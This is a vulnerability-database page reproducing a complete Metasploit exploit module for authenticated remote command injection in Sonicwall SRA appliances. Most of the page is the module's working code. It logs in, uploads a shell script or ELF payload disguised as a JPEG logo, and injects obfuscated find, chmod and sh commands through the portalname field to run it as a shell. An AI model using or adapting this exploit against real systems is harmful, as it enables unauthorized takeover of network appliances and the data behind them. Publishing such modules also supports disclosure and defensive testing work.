Lucene search
K

Sonicwall importlogo/sitecustomization Remote Command Injection

🗓️ 19 Jul 2017 00:00:00Reported by Russell SanfordType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 41 Views

Sonicwall SRA <= v8.1.0.2-14sv remote command injectio

Code
`# Exploit Title: Sonicwall importlogo/sitecustomization CGI Remote Command Injection Vulnerablity   
# Date: 12/25/2016  
# Exploit Author: xort @ Critical Start  
# Vendor Homepage: www.sonicwall.com  
# Software Link: sonicwall.com/products/sra-virtual-appliance  
# Version: 8.1.0.2-14sv  
# Tested on: 8.1.0.2-14sv  
#   
# CVE : (awaiting cve)  
  
# vuln1: importlogo.cgi / logo1 parameter (any contents can be uploaded)   
# vuln2: sitecustomization.cgi / portalname (filename) parameter   
  
# Description PostAuth Sonicwall SRA <= v8.1.0.2-14sv. This exploit leverages a command injection bug.   
#  
# xort @ Critical Start  
  
  
  
  
require 'msf/core'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
include Exploit::Remote::Tcp  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Sonicwall SRA <= v8.1.0.2-14sv remote exploit',  
'Description' => %q{  
This module exploits a remote command execution vulnerability in  
the Sonicwall SRA Appliance Version <= v8.1.0.2-14sv. The vulnerability exist in  
a section of the machine's adminstrative infertface for performing configurations   
related to on-connect scripts to be launched for users's connecting.   
},  
'Author' =>  
[  
'xort@Critical Start', # vuln + metasploit module  
],  
'Version' => '$Revision: 1 $',  
'References' =>  
[  
[ 'none', 'none'],  
],  
'Platform' => [ 'linux'],  
'Privileged' => true,  
'Arch' => [ ARCH_X86 ],  
'SessionTypes' => [ 'shell' ],  
'Privileged' => false,  
  
'Payload' =>  
{   
'Compat' =>  
{  
'ConnectionType' => 'find',  
}  
},  
  
'Targets' =>  
[  
['Linux Universal',  
{  
'Arch' => ARCH_X86,  
'Platform' => 'linux'  
}  
],  
],  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('PASSWORD', [ false, 'Device password', "" ]),   
OptString.new('USERNAME', [ true, 'Device password', "admin" ]),   
OptString.new('CMD', [ false, 'Command to execute', "" ]),   
Opt::RPORT(443),  
], self.class)  
end  
  
def do_login(username, password_clear)  
vprint_status( "Logging into machine with credentials...\n" )  
  
# vars  
timeout = 1550;  
  
# send request   
res = send_request_cgi(  
{  
'method' => 'POST',  
'uri' => "/cgi-bin/userLogin",  
'headers' => {  
'Connection' => 'close',  
'Content-Type' => 'application/x-www-form-urlencoded',  
'User-Agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:50.0) Gecko/20100101 Firefox/50.0',  
},  
'vars_post' => {  
'username' => username,  
'password' => password_clear,  
'domain' => 'LocalDomain',  
'loginButton' => 'Login',  
'state' => 'login',  
'login' => 'true',  
'VerifyCert' => '0',  
'portalname' => 'VirtualOffice',  
'ajax' => 'true'  
},  
}, timeout)  
  
swap = res.headers['Set-Cookie'].split('\n').grep(/(.*)swap=([^;]+);/){$2}[0]  
  
return swap  
end  
  
def upload_payload(swap_cookie, file_data)  
vprint_status( "Upload Payload..." )  
  
# vars  
timeout = 1550;  
  
upload_req = [  
[ "portalName","VirtualOffice" ],  
[ "defaultLogo","0" ],  
[ "uiVersion","2" ],  
[ "bannerBackground", "light" ]  
]  
  
boundary = "---------------------------" + Rex::Text.rand_text_numeric(34)  
post_data = ""  
  
# assemble upload_req parms  
upload_req.each do |xreq|  
post_data << "--#{boundary}\r\n"  
post_data << "Content-Disposition: form-data; name=\"#{xreq[0]}\"\r\n\r\n"  
post_data << "#{xreq[1]}\r\n"  
end  
  
# add malicious file  
post_data << "--#{boundary}\r\n"  
post_data << "Content-Disposition: form-data; name=\"logo1\"; filename=\"x.jpg\"\r\n"  
post_data << "Content-Type: image/jpeg\r\n\r\n"  
post_data << "#{file_data}\r\n"  
  
post_data << "--#{boundary}--\r\n"  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => "/cgi-bin/importlogo?uploadId=1",  
'ctype' => "multipart/form-data; boundary=#{boundary}",  
'data' => post_data,  
'headers' =>  
{  
'UserAgent' => "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0",  
'Cookie' => 'swap='+swap_cookie+';',  
}  
}, timeout)  
  
  
end  
  
  
def run_command(swap_cookie, cmd)  
  
vprint_status( "Running Command...\n" )  
  
# vars  
timeout = 1550;  
  
vprint_status("creating filename on target: #{cmd}\n")  
  
upload_req = [  
[ "portalname", cmd ],  
[ "portaltitle","Virtual Office" ],  
[ "bannertitle","Virtual Office" ],  
[ "bannermessage","<h1>Dell Sonicwall</h1>" ],  
[ "portalUrl","https://192.168.84.155/portal/xxx" ],  
[ "loginflag","on" ],  
[ "bannerflag","on" ],  
[ "httpOnlyCookieFlag","on" ],  
[ "cachecontrol","on" ],  
[ "uniqueness", "on" ],  
[ "duplicateLoginAction", "1" ],  
[ "livetilesmalllogo", "" ],  
[ "livetilemediumlogo", "" ],  
[ "livetilewidelogo", "" ],  
[ "livetilelargelogo", "" ],  
[ "livetilebackground", "#0085C3" ],  
[ "livetilename", "" ],  
[ "home2page", "on" ],  
[ "allowNetExtender", "on" ],  
[ "virtualpassagepage", "on" ],  
[ "cifsdirectpage", "on" ],  
[ "cifspage", "on" ],  
[ "cifsappletpage", "on" ],  
[ "cifsapplet", "on" ],  
[ "cifsdefaultfilesharepath", "" ],  
[ "home3page", "on" ],  
[ "showAllBookmarksTab", "on" ],  
[ "showDefaultTabs", "on" ],  
[ "showCopyright", "on" ],  
[ "showSidebar", "on" ],  
[ "showUserPortalHelpButton", "on" ],  
[ "userPortalHelpURL", "" ],  
[ "showUserPortalOptionsButton", "on" ],  
[ "homemessage", "<h1>Welcome to the Dell SonicWALL Virtual Office</h1>" ],  
[ "hptabletitle", "Virtual Office Bookmarks" ],  
[ "vhostName", "www.#{Rex::Text.rand_text_hex(32)}.com" ],  
[ "vhostAlias", "" ],  
[ "vhostInterface", "ALL" ],  
[ "vhostEnableKeepAlive", "on" ],  
[ "cdssodn", ".yahoo.com" ],  
[ "enableSSLForwardSecrecy", "0" ],  
[ "enableSSLProxyVerify", "0" ],  
[ "sslProxyProtocol", "0" ],  
[ "loginSchedule", "000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" ],  
[ "formsection", "main" ],  
[ "doAdd", "1" ],  
[ "cgiaction", "1" ],  
[ "themename", "stylesonicwall" ],  
[ "onlinehelp", "" ],  
[ "tmp_currentVhostName", "" ],  
[ "tmp_currentVhostAlias", "" ],  
[ "tmp_currentVhostInterface", "ALL" ],  
[ "tmp_currentVhostIp", "" ],  
[ "tmp_currentVhostIPv6", "" ],  
[ "tmp_currentVhostEnableHTTP", "0" ],  
[ "tmp_currentVhostEnableKeepAlive", "1" ],  
[ "tmp_currentVhostCert", "" ],  
[ "tmp_currEnforceSSLProxyProtocol", "0" ],  
[ "tmp_currSSLProxyProtocol", "0" ],  
[ "tmp_currEnableSSLProxyVerify", "0" ],  
[ "tmp_currEnableSSLForwardSecrecy", "0" ],  
[ "tmp_currentVhostOffloadRewrite", "" ],  
[ "restartWS", "1" ],  
[ "reuseFavicon", "" ],  
[ "oldReuseFavicon", "" ],  
]  
  
boundary = "---------------------------" + Rex::Text.rand_text_numeric(34)  
post_data = ""  
  
# assemble upload_req parms  
upload_req.each do |xreq|  
post_data << "--#{boundary}\r\n"  
post_data << "Content-Disposition: form-data; name=\"#{xreq[0]}\"\r\n\r\n"  
post_data << "#{xreq[1]}\r\n"  
end  
  
post_data << "--#{boundary}--\r\n"  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => "/cgi-bin/sitecustomization",  
'ctype' => "multipart/form-data; boundary=#{boundary}",  
'data' => post_data,  
'headers' =>  
{  
'UserAgent' => "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0",  
'Cookie' => 'swap='+swap_cookie+';',  
}  
}, timeout)  
end  
  
def run_command_file(swap_cookie)  
  
# use prefix so exploit can be re-used (unique portalname requirment)  
prefix = Rex::Text.rand_text_numeric(5)  
  
run_command(swap_cookie, "#{prefix}$({find,$({perl,-e,'print(chr(0x2f))'}),-name,VirtualOffice.gif,-exec,cp,{},qz,$({perl,-e,'print(chr(0x3b))'})})")  
run_command(swap_cookie, "#{prefix}$({chmod,777,qz})")  
run_command(swap_cookie, "#{prefix}$({sh,-c,.$({perl,-e,'print(chr(0x2f))'})qz})")  
  
end  
  
def exploit  
# timeout  
timeout = 1550;  
  
# params  
password_clear = datastore['PASSWORD']  
user = datastore['USERNAME']  
  
# do authentication   
swap_cookie = do_login(user, password_clear)  
  
vprint_status("authenticated 'swap' cookie: #{swap_cookie}\n")  
  
# pause to let things run smoothly  
#sleep(5)  
  
#if no 'CMD' string - add code for root shell  
if not datastore['CMD'].nil? and not datastore['CMD'].empty?  
  
cmd = datastore['CMD']  
  
# Encode cmd payload  
encoded_cmd = cmd.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2')  
  
# kill stale calls to bdump from previous exploit calls for re-use  
upload_payload(swap_cookie, ("sudo /bin/rm -f /tmp/n; printf \"#{encoded_cmd}\" > /tmp/n; chmod +rx /tmp/n; /tmp/n" ))  
else  
# Encode payload to ELF file for deployment  
elf = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)  
encoded_elf = elf.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2')  
  
# upload elf to /tmp/m , chmod +rx /tmp/m , then run /tmp/m (payload)  
upload_payload(swap_cookie, ("#!/bin/bash\necho -e \"#{encoded_elf}\" > /tmp/m; chmod +rx /tmp/m; /tmp/m"))  
run_command_file(swap_cookie)  
  
# wait for magic  
handler  
  
end  
  
  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation